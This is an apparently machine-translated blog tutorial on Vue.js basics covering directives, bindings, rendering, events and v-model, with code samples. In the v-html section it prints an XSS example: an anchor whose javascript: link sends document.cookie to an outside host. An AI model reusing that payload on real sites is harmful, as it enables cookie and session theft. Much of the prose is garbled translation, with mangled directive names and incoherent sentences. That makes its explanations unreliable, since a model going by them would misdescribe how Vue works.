Vueの基礎

A.テンプレートの構文

（1）補間

それをレンダリングする特殊なテンプレート文法（宣言レンダリング）が続く文} {} {テキストデータ

b.纯HTML

XSS、CSRFを（防ぐために、V-htmlの注意

（1）フィルター先端（前端文字が容易に濾過<N移植される、等）

（2）エスケープ背景（<>置き換え＆LT＆GT）

）

<a href=javascript:location.href='http://www.baidu.com?
cookie='+document.cookie>click</a>

C。式

（2）命令

これは、接頭辞を持つ特殊な属性でありますV-

V-バインドダイナミック結合特性
V-IFの動的作成/削除
V-ショーの動的表示/非表示
V-上：クリックバインドイベント
V-のためのトラバーサル
Vモデルの双方向結合形態（改質剤）
V-マント表現のちらつきを防止

注意：

V-マント

テンプレート内の要素に、V-マント属性を追加した後、我々は、この属性を与えることができるようにプロパティが隠されたCSSスタイルに設定され、なくなっているとき、終了していないロードVUEは、この性質を持っている要素は、VUEがロードされ

 <style>
    [v-cloak]{
        display:none
    }
 </style>

可視性：隠された要素が消えたが、後続の要素は依然として変わらない、ドキュメントフローの構造を損傷することはありません===>持っていた再描画（再描画）
を実行し、ディスプレイ：要素は要素のその後の消失を消すどれも、要素の位置を占めていないだろう構造文書廃棄流===>還流（リフロー）を生成

V-テキスト/ V-HTML

V-テキストデータ交換指令値は、テンプレート要素の属性のTextContentによって表される指定

V-htmlタグは、V-テキストよりinnerHTMLの変化素子、パフォーマンスの低下を解決することができます

で、

そのコンパイル・プロセス・エレメントとサブエレメントをスキップし、口ひげを表示するために使用することができます

（3）略語

V-バインド：SRC =>：SRC

V-上：クリック=> @click

二つ。クラスとスタイル

（1）バインドHTMLクラス

- 对象语法
	<div id="app">
        <p class="red">这是一个p段落标签...</p>
        <p :class="{'red':isRed}">这是一个p段落标签...</p>  
        <p class="red" :class="(isBig ? 'big' : '')">这是一个p段落标签...</p>
        <p><button @click="isRed=!isRed">切换class</button></p>
    </div>

- 数组语法
	<p :class="['red',(isBig ? 'big' : '')]">这是一个p段落标签...</p>

結合インラインスタイル内の（2）

オブジェクト構文

<p :style="{backgroundColor:background,fontSize:'40px'}">我是p段落标签...</p>

 //key名需要采用驼峰式的写法哦，不然会报错的！
 new Vue({
     el:"#app",
     data:{
     	background:"green"
     }
 })

配列構文

//フォントサイズ=>のfontSizeの必要性

<p :style="[{backgroundColor:background,fontSize:'40px'}]">我是p段落标签...</p>

III。条件レンダリング

（1）V-IF

あなたはそれが非表示にするにはfalseで、値がtrueで表示するには、表示し、非表示にするには、テンプレートの要素を制御するためにVueの中でV-IFを使用することができます

V-場合、コントロールは、このノードをレンダリングするかどうかであります

（2）V-他のV-ELSE-IF

そこに他の分岐ロジック、V-ELSE命令が制御要素に追加することができた場合、V-他には上記V-場合、およびV-あれば逆効果に応じて制御することができる、注意が次を負担しなければなりません

そこV-ELSE-場合は、複数の分岐ロジック命令を実装することができます

（3）テンプレートV-IF

我々は要素のセットを制御するために必要な時間が隠されて、彼らはラベルテンプレートでラップすることができます表示、などVMとしてテンプレートに与えられた命令、要素のこのグループをレンダリングするには、テンプレートをレンダリングしていません

（4）V-ショー

Vueがまた、使用することをV-ショーの指示を提供し、V-あれば、基本的に同じ、制御は、それによってませんV-他に使用して、できる制御要素を表示し、隠された、CSSの要素のdisplayプロパティで、テンプレートタグに使用することはできませんテンプレートはCSSをレンダリングしませんレンダリングして、そのプロパティを変更していないため、有効になりません

V-IF V-ショー対

それは条件ブロック内のイベントリスナーとサブコンポーネントが破壊され、ハンドオーバ処理に適切に再構築されることを確実にするため、「真の」条件は、レンダリングV-IF。
不活性であるならば、V-：条件は初期レンダリング時に偽である場合は、何もしない; -条件がtrueになるまで最初に、ブロックは条件をレンダリングを開始します。
これとは対照的に、V-showがはるかに簡単です; -初期条件は、要素が常にレンダリングされ、単にCSSスイッチに基づいてどうなるかに関係なく。
一般的には、V-IFより高いスイッチングオーバーヘッド、およびレンダリングの高い初期費用をV-示しています。したがって、スイッチングは非常に頻繁に使用される場合、好ましくはV-ショーである;条件はほとんどV-IF好ましいを用いて、実行時に変更しない場合。

IV。レンダリングリスト

（1）V-用

これは、長命令V-（ディレクティブ操作DOM）があるようなコマンドであります

VUEのV用ループDOMデータシンタックスを循環させることによって通知することができ、第二のパラメータを受信すると、アイテムのインデックス（項目、インデックス）は、アイテムの/項目であります

あなたはまた、第二の鍵であり、最初のパラメータが値である、オブジェクトを通過することができ、第三は、まだインデックスです

<div id="app">
	<ul>
		<li v-for="(item,index) in arr"> {{index+1}} 、 {{item}}</li>
	</ul>
	<ul>
		<li v-for="(value,key,index) in user">{{index}}/{{key}}:{{value}}</li>
	</ul>
</div>

new Vue({
	el:"#app",
	data:{
		arr:["苹果","梨子","香蕉"],
		user:{
			name:"张三"
		}
	}
})

（2）キー

各ノードの*トラック状態、それによって既存の要素とリオーダーを再利用

*理想的なキー値と、それぞれが固有のIDを持っています。data.id

（3）更新検出アレイ

。操作の以下の方法を用いて配列、変化を検出することができます

プッシュ（）（POP）ソートシフト（）アンシフト（）スプライス（）（）リバース（）

B。フィルタ（）、CONCAT（）とスライス（）、マップは（）、新しい配列が古い配列を置き換えます

C。配列は、以下の変更を検出することはできません

JavaScriptの制限のため、Vueが次の配列の変化を検出することはできません。

1.直接配列インデックスエントリを使用する場合、例えば：vm.items [indexOfItem] = newValueに

1-1.Vue.set（vm.items、indexOfItem、newValueに）

Vue.set（vm.arr、2、30）//もしこのことにより、例。$セット（vm.arr、2、30）

1-2 vm.items.splice（indexOfItem、1、newValueに）

2.たとえば、配列の長さを変更する場合：vm.items.length = newLength

vm.items.splice（newLength）

V.イベント処理

（1）監視イベント - コードを直接トリガ

VUEであるV-上のイベントのDOMをバインドするには、V-上：あなたはいくつかの簡単なJavaScript式を行うことができます値をバインドするイベントの種類が続い：+ + - = ...

V-上のいくつかの方法がそのように、方法で設定することができることをあなたがすることができます追加の書き込み方法は、（）あなたがパラメータを渡すことができたときに直接書き込みメソッドの名前値は、この方法では、デフォルトの着信イベントオブジェクトによって、クリックすることができますこの時間は、目的のイベントオブジェクト場合、イニシアチブは、$イベントを通過しました

V-上の結合事象は、V-に、任意のイベントになりますと略記することができます@

なぜHTMLでのイベントに耳を傾けますか？

あなたは気づくかもしれない懸念の分離（関心の分離）長年の伝統と、このイベントリスナーの仕方反します。しかし、方法や表現を扱うすべてのVue.jsイベントは厳密にViewModelに現在のビューにバインドされているので、それはメンテナンスのあらゆる困難起こさない、心配しないでください。実際には、V-上の使用は、いくつかの利点があります：

HTMLテンプレートの方法で一目で簡単に対応するJavaScriptのコードを見つけることができるようになります。
手動でJavaScriptでのバインドのイベントには必要ありませんので、あなたのViewModelコードは、非常に純粋なロジックとすることができ、DOMは完全に、テストを容易に分離さ。
ViewModelには、破壊された場合は、すべてのイベントハンドラが自動的に削除されます。あなたは自分自身をきれいにする方法を心配する必要はありません。

（2）イベントハンドラメソッド - 書き込み関数名handleClick

（3）インライン処理方法 - 実施する関数式

handleClick（$イベント）$イベントイベントオブジェクト

（4）イベントモディファイ

.stop
.prevent
.capture
.self
.once
.passive

（5）修飾キー

キーボードイベントを聴いたとき、私たちはしばしば、詳細ボタンをチェックする必要があります。Vueがすることができv-onたときに、モニタ、キーボードイベント修飾キーを追加します。

<!-- 只有在 `key` 是 `Enter` 时调用 `vm.submit()` -->
<input v-on:keyup.enter="submit">

VI。フォームが結合バインド/双方向のデータを制御します

参考リンク
Vモデル

（1）基本的な使い方

あなたは使用することができv-model、フォーム命令を、双方向にデータバインディングと``要素を作成します。これは自動的に制御型の要素を更新するための正しい方法を選択します。いくつかの魔法が、一方でv-model本質的には単なるシンタックスシュガー。これは、データを更新するために、ユーザの入力イベントを監視する責任があり、そしていくつかの極端なシナリオは、いくつかの特別な処理を行います。

v-modelすべてのフォーム要素を無視しvalue、checked、selectedデータソースとしてデータの属性と常にVueのインスタンスの初期値。あなたは、JavaScriptのでアセンブリにする必要がありdata、初期値のオプションの宣言。

v-model 内部的に異なる入力要素のためのさまざまなイベントを異なる属性を使用して投げます：

使用して、テキストとTEXTAREA要素valueのプロパティとinputイベントを、
チェックボックスとラジオ使用checkedのプロパティとchangeイベント。
フィールドを選択value小道具として、およびchangeイベントとして。

（2）修飾子

.lazy：同期一度失うフォーカス
.NUMBER：書式設定の数値
.trim：先頭と末尾のスペースを削除

@クリアウォーターと流砂

公開された21元の記事・ウォンの賞賛0 ・ビュー294

プライベートの手紙の懸念

Vueの基礎-1